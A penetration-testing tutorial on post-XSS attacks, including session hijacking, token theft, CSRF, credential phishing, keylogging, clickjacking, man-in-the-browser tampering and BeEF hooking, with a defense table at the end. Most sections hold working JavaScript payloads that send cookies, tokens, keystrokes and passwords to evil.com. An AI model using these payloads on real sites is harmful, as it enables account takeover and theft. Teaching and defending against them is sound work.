> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/01.-cross-site-scripting/post-xss-attack-techniques.md).

# Post-XSS Attack Techniques

#### Session Hijacking, CSRF, Phishing, Keylogging, Clickjacking, BeEF & More

*Companion guide to the XSS Deep-Dive Guide. This document goes deep on what happens after an attacker gets script execution: the actual attack techniques used to turn "JavaScript runs in the victim's browser" into real-world impact.*

***

### Table of Contents

1. Where This Fits: The Bigger Picture
2. Session Hijacking
3. Cookie Theft: The Mechanics
4. Session Fixation
5. Token Theft from localStorage/sessionStorage
6. CSRF, and Why XSS Makes It Trivial
7. Credential Phishing via DOM Injection
8. Keylogging
9. Clickjacking
10. Man-in-the-Browser Attacks
11. BeEF: Browser Exploitation Framework Deep Dive
12. Drive-By Delivery & Malware Pivoting
13. Worm Propagation: The Samy MySpace Case Study
14. Data Exfiltration Channels
15. Defense Summary: Blocking Each Technique
16. Diagrams Index

***

### 0. Where This Fits: The Bigger Picture

XSS is the delivery mechanism. Everything in this guide is what an attacker actually does once that delivery succeeds. Think of XSS as picking the lock on the front door. This document is everything that happens once the attacker is standing inside the house.

```mermaid
flowchart TD
    X["XSS payload executes in victim's browser"] --> A["Session Hijacking"]
    X --> B["CSRF-style forced actions"]
    X --> C["Credential Phishing overlay"]
    X --> D["Keylogging"]
    X --> E["Clickjacking setup"]
    X --> F["Full browser takeover via BeEF hook"]
    A --> G["Account takeover"]
    B --> G
    C --> G
    D --> G
    E --> G
    F --> H["Persistent remote control / internal network pivoting"]
    G --> I["Data theft, fraud, further compromise"]
    H --> I
```

Every attack below assumes the attacker already has one thing: a way to run arbitrary JavaScript in the victim's browser, in the victim's authenticated session, on the target origin. That is the whole prerequisite. This is exactly why XSS is rated so highly in every severity framework (CVSS, OWASP Top 10). It is not "one bug," it is a key that unlocks this entire chapter.

***

### 1. Session Hijacking

#### 1.1 What it is

Session hijacking means stealing or reusing a legitimate user's session identifier, usually a cookie, sometimes a bearer token, so the attacker's own browser or script is treated by the server as if it were the victim. No password needed, no MFA prompt triggered, because as far as the server can tell, this is the already-authenticated user.

#### 1.2 Why it's the #1 outcome attackers go for

Most web apps authenticate a session, not a request. Once you have the session identifier, you don't need the victim's password, you don't need to solve MFA, and you don't need to know anything else about the account. The session cookie is the account, cryptographically speaking, until it expires or is revoked.

#### 1.3 The mechanics, step by step

```mermaid
sequenceDiagram
    participant Victim
    participant Server
    participant Attacker
    Victim->>Server: Logs in (username + password + MFA)
    Server-->>Victim: Set-Cookie: session=abc123XYZ
    Note over Victim: XSS payload executes in victim's browser
    Victim->>Attacker: document.cookie exfiltrated via fetch/image beacon
    Attacker->>Attacker: Sets session=abc123XYZ in own browser/tool
    Attacker->>Server: Any request with session=abc123XYZ
    Server-->>Attacker: Treated as the fully authenticated victim
```

#### 1.4 Exfiltration payload (the actual code)

```javascript
// Simple beacon via image tag (works even if CSP blocks fetch/XHR to third parties, in some misconfigurations)
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);

// Cleaner, modern version using fetch with keepalive so it survives page navigation
fetch('https://evil.com/steal', {
  method: 'POST',
  keepalive: true,
  body: document.cookie
});

// sendBeacon, purpose-built for "fire and forget even if the page is about to unload"
navigator.sendBeacon('https://evil.com/steal', document.cookie);
```

#### 1.5 Using the stolen session

Once the attacker has the raw cookie value, replaying it is trivial. No exploit needed, just a normal HTTP client:

```bash
curl https://victim.com/api/account -H "Cookie: session=abc123XYZ"
```

Or, for browser-based session reuse, the attacker simply edits their own browser's cookie storage (via DevTools, or a browser extension like "Cookie-Editor") to match the stolen value and reloads the target site. Now they're logged in as the victim with zero further interaction.

#### 1.6 Why `HttpOnly` matters so much here

If the session cookie has the `HttpOnly` flag, `document.cookie` simply cannot see it. JavaScript has no read access at all. This is the single highest-leverage defense against this exact attack, covered in full in Section 14.

***

### 2. Cookie Theft: The Mechanics

Cookie theft is the specific technique underlying Section 1, worth its own breakdown because there's more than one flavor.

#### 2.1 Direct read via `document.cookie` (only works for non-HttpOnly cookies)

```javascript
document.cookie
// "session=abc123XYZ; theme=dark; lang=en"
```

#### 2.2 Cookie theft when `HttpOnly` is set but `SameSite` is missing or weak

`HttpOnly` blocks JavaScript from reading the cookie, but it doesn't stop the cookie from being automatically attached to any request the browser makes to that origin, including ones an XSS payload triggers. This means even an `HttpOnly` cookie can still be used (just not read) by an XSS payload:

```javascript
// Attacker's script can't see the cookie value, but can still ride on it
fetch('/api/transfer-funds', {
  method: 'POST',
  credentials: 'include', // browser auto-attaches the HttpOnly cookie
  body: JSON.stringify({to: 'attacker-account', amount: 5000})
});
```

This is the crucial nuance. `HttpOnly` stops cookie theft (exfiltration) but does not stop cookie abuse (in-browser forced actions). That's why CSRF-style forced actions (Section 5) remain dangerous even with perfectly configured `HttpOnly` cookies.

#### 2.3 Cookie theft via CSS/network side channels (no script execution needed)

Even without any JS executing, a stored HTML injection that only allows `<img>`/`<link>` tags (script fully blocked) can still leak the referrer or trigger a network callback that confirms the page loaded, useful for blind-XSS-style confirmation even when hard script execution isn't achievable:

```html
<img src="https://evil.com/beacon.png?ref=" >
```

#### 2.4 Third-party cookie note (modern browser context)

Because major browsers have been phasing out third-party cookies, most cookie theft flows use first-party exfiltration. The stolen value is read by attacker JS running on the victim origin (via XSS) and then POSTed cross-origin to an attacker server, which is a first-party read plus a cross-origin write, and isn't blocked by third-party cookie restrictions at all.

***

### 3. Session Fixation

#### 3.1 What it is

Instead of stealing an existing session, the attacker forces the victim to use a session ID the attacker already knows, then waits for the victim to authenticate. At that point the attacker's pre-known session ID becomes a valid, authenticated session.

#### 3.2 Mechanics

```mermaid
sequenceDiagram
    participant Attacker
    participant Victim
    participant Server
    Attacker->>Server: Requests a session, gets session=FIXED123 (unauthenticated)
    Attacker->>Victim: Sends link: https://victim.com/login?sessionid=FIXED123 (or sets cookie via XSS)
    Victim->>Server: Logs in while using session=FIXED123
    Server-->>Victim: Session FIXED123 is now authenticated (server didn't rotate it on login)
    Attacker->>Server: Uses session=FIXED123, now also authenticated as victim
```

#### 3.3 The XSS connection

If an app is vulnerable to XSS, an attacker doesn't even need the URL-based method above. They can just directly set the cookie in the victim's browser via the injected script:

```javascript
document.cookie = "session=FIXED123; path=/";
```

Then wait for the victim to log in normally. If the server doesn't rotate the session ID upon successful authentication, the attacker's pre-chosen ID silently becomes valid.

#### 3.4 The fix

Always issue a brand new session identifier immediately after successful login (and after any privilege change, like elevating to admin), invalidating whatever session ID existed before authentication.

***

### 4. Token Theft from localStorage/sessionStorage

#### 4.1 Why this matters more in modern SPAs

Many modern single-page apps (React/Vue/Angular) store JWTs or API tokens in `localStorage` instead of cookies, often specifically to avoid CSRF. But this trades one risk for a worse one against XSS, because unlike `HttpOnly` cookies, `localStorage` has no equivalent protection. Any script running on the page can read it outright.

```javascript
localStorage.getItem('auth_token')
sessionStorage.getItem('access_token')
// Exfiltrate directly
fetch('https://evil.com/steal', {method:'POST', body: localStorage.getItem('auth_token')});
```

#### 4.2 The trade-off, visualized

```mermaid
flowchart LR
    subgraph cookie["HttpOnly Cookie Storage"]
        C1["Immune to document.cookie read"]
        C2["Vulnerable to CSRF if SameSite weak"]
        C3["Vulnerable to in-browser abuse via XSS (Section 2.2)"]
    end
    subgraph ls["localStorage/sessionStorage"]
        L1["Immune to classic CSRF (not auto-sent)"]
        L2["Fully readable by ANY script on the page via XSS"]
        L3["No httpOnly-equivalent protection exists"]
    end
```

Bottom line: neither storage mechanism is safe by itself against XSS. `localStorage` tokens are actually easier to steal outright (a one-line read) than well-configured `HttpOnly` cookies, even though they dodge CSRF. The real fix is preventing XSS in the first place. Storage location is a secondary consideration, not a substitute.

***

### 5. CSRF, and Why XSS Makes It Trivial

#### 5.1 What CSRF normally is

Cross-Site Request Forgery tricks a victim's browser into sending an authenticated request to a target site from a different, attacker-controlled site, relying on the browser automatically attaching cookies to same-origin-looking requests. Modern defenses are CSRF tokens (a secret value the attacker's separate origin can't read) and `SameSite=Strict/Lax` cookies (which stop the browser from auto-attaching cookies to cross-site requests at all).

#### 5.2 Why XSS defeats every one of those defenses at once

```mermaid
flowchart TD
    A["Classic CSRF from evil.com"] -->|Blocked by| B["SameSite cookie attribute"]
    A -->|Blocked by| C["CSRF token the attacker's origin can't read"]
    D["XSS running ON victim.com itself"] -->|Not a cross-site request at all| E["SameSite is irrelevant, this IS the same site"]
    D -->|Can read the DOM directly| F["Grabs the real CSRF token from the page itself"]
    D --> G["Forges any authenticated action, fully defended CSRF or not"]
```

Because the malicious script runs on the victim's own origin, from the browser's perspective every request it sends is a same-site, first-party request. `SameSite` cookie protection does nothing (it's not cross-site). CSRF tokens do nothing (the script can just read the token out of the page's own hidden input or meta tag before using it):

```javascript
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/change-password', {
  method: 'POST',
  headers: {'X-CSRF-Token': token, 'Content-Type': 'application/json'},
  body: JSON.stringify({new_password: 'attackerControlled123!'})
});
```

This is the single most important reason XSS is rated so much higher in severity than CSRF alone. Any CSRF protection is irrelevant once XSS exists, because XSS operates from inside the trust boundary CSRF protections are built around.

***

### 6. Credential Phishing via DOM Injection

#### 6.1 What it is

Instead of stealing a live session, the attacker rewrites part (or all) of the legitimate page to present a fake login form, fake payment form, or fake "session expired, please re-enter your password" prompt, all served from the real domain, with the real padlock/HTTPS indicator, making it far more convincing than a normal phishing email link to a lookalike domain.

#### 6.2 Example payload

```javascript
document.body.innerHTML = `
  <div style="position:fixed;inset:0;background:#fff;z-index:99999;
              display:flex;align-items:center;justify-content:center;">
    <form id="f" style="border:1px solid #ccc;padding:2rem;">
      <h2>Session expired, please sign in again</h2>
      <input name="user" placeholder="Email">
      <input name="pass" type="password" placeholder="Password">
      <button type="submit">Sign in</button>
    </form>
  </div>`;
document.getElementById('f').onsubmit = function(e) {
  e.preventDefault();
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: new URLSearchParams(new FormData(e.target))
  });
  // Optionally redirect to the real page afterward to avoid suspicion
  location.href = '/dashboard';
};
```

#### 6.3 Why this is more dangerous than a typical phishing email

* The URL bar shows the real domain. No lookalike-domain tell to spot.
* The TLS certificate is legitimate. The padlock icon is genuinely valid.
* Password managers may still autofill if the injected form fields happen to match expected name/id attributes the manager recognizes for that domain, lending extra false credibility.
* Can be timed to appear only after some realistic delay or scroll interaction, mimicking a real session-timeout prompt.

#### 6.4 Variant: fake OAuth/SSO consent screens

Injected overlays mimicking "Continue with Google" or corporate SSO consent screens can harvest credentials for connected third-party accounts too, extending the blast radius well past the originally vulnerable site.

***

### 7. Keylogging

#### 7.1 Basic keystroke capture

```javascript
let buffer = '';
document.addEventListener('keydown', (e) => {
  buffer += e.key;
  if (buffer.length > 20) {
    navigator.sendBeacon('https://evil.com/keys', buffer);
    buffer = '';
  }
});
```

#### 7.2 Field-targeted capture (higher signal, less noise for the attacker to sift through)

```javascript
document.querySelectorAll('input[type=password], input[type=email]').forEach(el => {
  el.addEventListener('input', (e) => {
    navigator.sendBeacon('https://evil.com/field-capture',
      JSON.stringify({field: el.name, value: e.target.value}));
  });
});
```

#### 7.3 Clipboard capture (related technique)

```javascript
document.addEventListener('copy', (e) => {
  navigator.sendBeacon('https://evil.com/clipboard', window.getSelection().toString());
});
document.addEventListener('paste', (e) => {
  navigator.sendBeacon('https://evil.com/paste', (e.clipboardData || window.clipboardData).getData('text'));
});
```

This is particularly effective against password-manager users who copy-paste credentials rather than typing them, a group otherwise resistant to naive keylogging.

***

### 8. Clickjacking

#### 8.1 What it is

A separate but closely related client-side attack. The attacker loads the real target site inside an invisible `<iframe>` layered underneath attacker-controlled decoy content, tricking the victim into clicking on what looks like a harmless button while actually clicking a real, sensitive control on the legitimate hidden page underneath (for example "Delete Account", "Authorize Payment", "Grant Permission").

#### 8.2 Example setup

```html
<style>
  iframe { position:absolute; top:0; left:0; width:500px; height:500px; opacity:0.0001; z-index:2; }
  .decoy { position:absolute; top:0; left:0; z-index:1; }
</style>
<div class="decoy">
  <button style="width:500px;height:500px;">Click here to claim your free prize!</button>
</div>
<iframe src="https://victim.com/account/delete-confirm"></iframe>
```

The invisible iframe is positioned exactly over the decoy button so that the victim's real click lands on the hidden "Confirm Delete" button of the legitimate site, while visually they believe they clicked the decoy.

#### 8.3 Relationship to XSS

Clickjacking doesn't require XSS on the target. It's a separate framing-based attack, listed here because it's frequently combined with XSS-derived intel (an attacker who found reflected input via XSS testing often also checks framing behavior) and because both are commonly assessed together in the same client-side security review.

#### 8.4 Defense

```
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';
```

`frame-ancestors` in CSP is the modern, more flexible replacement for `X-Frame-Options` and should be the primary control going forward.

***

### 9. Man-in-the-Browser Attacks

#### 9.1 What it is

A step up from a single-page XSS payload. The attacker's script installs itself as a persistent interceptor inside the victim's browser for that origin, silently modifying data in transit. For example, changing a bank transfer's destination account number after the user confirms the transfer but before the request actually leaves the browser, while showing the user their originally intended (correct) details on-screen the whole time.

#### 9.2 Example: transparent fetch/XHR interception

```javascript
const originalFetch = window.fetch;
window.fetch = function(url, options) {
  if (url.includes('/api/transfer') && options?.body) {
    const data = JSON.parse(options.body);
    data.destinationAccount = 'ATTACKER-ACCT-000'; // silently swapped
    options.body = JSON.stringify(data);
  }
  return originalFetch(url, options);
};
```

The victim's confirmation screen, built from the original form data they typed, still shows the correct destination account. The swap happens invisibly at the network layer, making this exceptionally hard for the victim to notice.

#### 9.3 Why this is worse than a one-shot cookie theft

It doesn't require the attacker to be present or monitoring in real time. Once installed (especially combined with the service-worker persistence technique from the main XSS guide), it silently tampers with every matching request for as long as it survives in the browser, without needing any further attacker interaction.

***

### 10. BeEF: Browser Exploitation Framework Deep Dive

#### 10.1 What BeEF is

BeEF is an open-source, purpose-built post-exploitation framework for hooked browsers. A single injected script tag ("the hook") gives the attacker a persistent command-and-control channel into the victim's browser through BeEF's web-based admin panel, turning a one-shot XSS payload into an ongoing interactive session.

```html
<script src="https://attacker-beef-server.com/hook.js"></script>
```

#### 10.2 Architecture

```mermaid
flowchart LR
    subgraph victim["Victim's Browser"]
        H["hook.js polls for commands"]
    end
    subgraph attacker["Attacker Infrastructure"]
        S["BeEF Server"]
        UI["Admin Web UI (Zombie Browser List)"]
    end
    H <-->|"Long-poll / periodic check-in for new commands"| S
    S <--> UI
    UI -->|"Attacker selects a hooked browser and issues a module"| S
```

#### 10.3 What an attacker can do once a browser is "hooked"

* Browser/OS/plugin fingerprinting: identify exact browser version, installed plugins, likely OS, screen resolution, for follow-on targeted exploits
* Persistent presence: the hook keeps checking in as long as the victim's tab stays open (and in some setups, across page navigations if the hook re-injects itself)
* Social engineering modules: trigger fake browser update prompts, fake "your Flash Player is out of date" dialogs, designed to get the victim to download and run attacker-supplied malware
* Intranet port scanning: since the hooked browser is sitting inside the victim's internal network, BeEF can use it to scan and fingerprint internal-only hosts/services the attacker otherwise has no direct network access to (a major pivot technique against corporate networks)
* Webcam/microphone access attempts, via browser permission prompts, hoping the victim (already trusting the legitimate-looking page) clicks "Allow"
* Credential harvesting modules: pre-built fake login prompts styled to match popular services
* Full integration with Metasploit: BeEF can hand off a hooked browser to Metasploit modules for further exploitation attempts against the underlying OS/browser vulnerabilities

#### 10.4 Why this matters for defenders to understand

A single unpatched XSS finding that looks "low impact" in isolation (just an `alert(1)` proof of concept) can, in a real attack, immediately escalate to this entire toolkit the moment a real attacker automates delivery. This is exactly why security teams treat any confirmed XSS as high priority regardless of how harmless the specific injection point initially looks.

***

### 11. Drive-By Delivery & Malware Pivoting

#### 11.1 What it is

Using the trusted, already-executing JS context from XSS to silently trigger downloads of actual malware, or to chain into exploiting a separate vulnerability in the victim's browser or plugins (a "browser exploit kit" style attack), rather than staying purely inside JavaScript's normal sandboxed capabilities.

#### 11.2 Typical chain

```mermaid
flowchart LR
    A["XSS executes"] --> B["Script fingerprints browser/plugin versions"]
    B --> C{"Known vulnerable version found?"}
    C -->|Yes| D["Load matching browser/plugin exploit for sandbox escape"]
    C -->|No| E["Fall back to social-engineering the victim into manually downloading/running a file"]
    D --> F["Code execution outside the browser sandbox: full OS compromise"]
    E --> F
```

#### 11.3 Why this is rarer in modern browsers but still relevant

Modern browser sandboxing and rapid patch cycles have made true sandbox-escape drive-by attacks much less common than a decade ago, but the social-engineering fallback path (fake update prompts, fake codec installers) remains a live technique, especially against less frequently updated systems or less security-aware users.

***

### 12. Worm Propagation: The Samy MySpace Case Study

#### 12.1 What happened (2005)

A stored XSS vulnerability in MySpace profile pages was used to create a self-replicating payload. Viewing an infected profile silently added "Samy" as a friend to the viewer's own profile, and, critically, also copied the malicious payload into the viewer's own profile page, so anyone who later viewed their profile got infected too.

#### 12.2 Why this made it a worm rather than a single XSS hit

```mermaid
flowchart TD
    A["Victim views Samy's infected profile"] --> B["Injected script executes in victim's browser"]
    B --> C["Script adds 'Samy' as victim's friend (using victim's session)"]
    B --> D["Script copies itself into victim's own profile page"]
    D --> E["Victim's profile is now ALSO infected"]
    E --> F["Next person who views victim's profile"]
    F --> A
```

This self-copying step is what turns a single vulnerability into exponential spread. The payload doesn't just execute once, it propagates itself using each victim's own authenticated session to infect their own content, which then infects the next viewer, and so on.

#### 12.3 The result

Over one million profiles were infected in under 24 hours before MySpace was forced to take the entire site offline to contain it, one of the most cited real-world demonstrations of how severe "just" a stored XSS bug can become at scale.

#### 12.4 The lesson for defenders

Any feature that lets a user's action modify their own persisted content (not just view/interact) combined with stored XSS creates worm potential. This is why stored XSS in profile bios, comments, or any "content the user controls and others view" is treated as critical severity, not just "medium, since it needs a stored injection."

***

### 13. Data Exfiltration Channels

A round-up of how stolen data actually leaves the victim's browser, since every attack above eventually needs one of these:

| Channel                  | Code                                                                       | Notes                                                                                                                        |
| ------------------------ | -------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| Image beacon             | `new Image().src='https://evil.com/x?d='+data`                             | Simple, works even if some request types are blocked; visible in Network tab as an image request, which can look innocuous   |
| `fetch()`                | `fetch('https://evil.com', {method:'POST', body:data})`                    | Standard, flexible, can be blocked by strict CSP `connect-src`                                                               |
| `navigator.sendBeacon()` | `navigator.sendBeacon('https://evil.com', data)`                           | Purpose-built to survive page unload/navigation, fire-and-forget                                                             |
| WebSocket                | `new WebSocket('wss://evil.com').send(data)`                               | Useful for real-time exfiltration (e.g., live keylogging)                                                                    |
| DNS exfiltration         | `new Image().src='https://'+btoa(data)+'.evil.com/x.png'`                  | Used when direct HTTP exfil is blocked but DNS resolution isn't (common in blind-XSS-detection tools like Burp Collaborator) |
| CSS exfiltration         | attribute-selector background-image requests (see main guide Section 17.7) | Works even when `script-src` is fully locked down, if `style-src` isn't                                                      |
| Form auto-submission     | Hidden `<form>` auto-submitted via JS to an attacker endpoint              | Bypasses some `connect-src` CSP restrictions since it's a navigation, not a fetch                                            |

***

### 14. Defense Summary: Blocking Each Technique

| Attack                                              | Primary defense                                                                                                                                                          |
| --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Session hijacking (cookie read)                     | `HttpOnly` flag on session cookies                                                                                                                                       |
| Session hijacking (cookie abuse via forced request) | `SameSite=Strict/Lax` plus re-authentication for sensitive actions                                                                                                       |
| Session fixation                                    | Rotate session ID on every login/privilege change                                                                                                                        |
| localStorage token theft                            | Prefer `HttpOnly` cookies for auth where possible; if tokens must live in JS-accessible storage, minimize token lifetime and scope                                       |
| CSRF (post-XSS)                                     | Not fully preventable once XSS exists. This is why preventing XSS itself is the real fix, not layering more CSRF controls                                                |
| Credential phishing overlay                         | Strict CSP (`script-src`) prevents the injection that enables this in the first place; WebAuthn/hardware keys resist even successful phishing since they're origin-bound |
| Keylogging/clipboard capture                        | Same root cause as above: CSP plus output encoding prevents the injection entirely                                                                                       |
| Clickjacking                                        | `Content-Security-Policy: frame-ancestors 'none'` (or an explicit allowlist)                                                                                             |
| Man-in-the-browser                                  | CSP `connect-src` allowlisting reduces where intercepted data can be sent; Subresource Integrity (SRI) on third-party scripts limits supply-chain injection              |
| BeEF hooking / drive-by                             | Strict CSP blocks the initial `<script src>` hook from loading at all; keep browsers/plugins patched                                                                     |
| Worm propagation                                    | Sanitize on both write and read paths for any user-generated content; rate-limit and anomaly-detect mass "friend add" or content-copy style actions                      |

The unifying theme: almost every technique in this document is only possible because XSS succeeded first. A strict CSP and correct output encoding (covered in depth in the main XSS guide, Section 22) don't just stop the initial script injection. They cut off the entire tree of downstream attacks in this document at the root.

***

### 15. Diagrams Index

For quick reference, this guide includes diagrams for:

* Section 0: overall post-XSS attack tree
* Section 1.3: session hijacking sequence
* Section 4.2: cookie vs. localStorage trade-off
* Section 5.2: why XSS defeats CSRF protections
* Section 10.2: BeEF hook architecture
* Section 11.2: drive-by/malware pivot chain
* Section 12.2: Samy worm self-propagation loop

***

### See Also

This document assumes XSS has already succeeded. For the full guide on how XSS vulnerabilities are found, exploited, and prevented in the first place, including payload construction, filter/WAF/CSP bypass, Burp Suite workflows, and defensive coding, see the companion file: `XSS_Deep_Dive_Guide.md`.

**Ethical/legal note:** this content describes standard, widely-taught penetration testing and red-team techniques (the same material covered in OSCP, CEH, and OWASP training). Only use these techniques on systems you own or have explicit written authorization to test.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/01.-cross-site-scripting/post-xss-attack-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
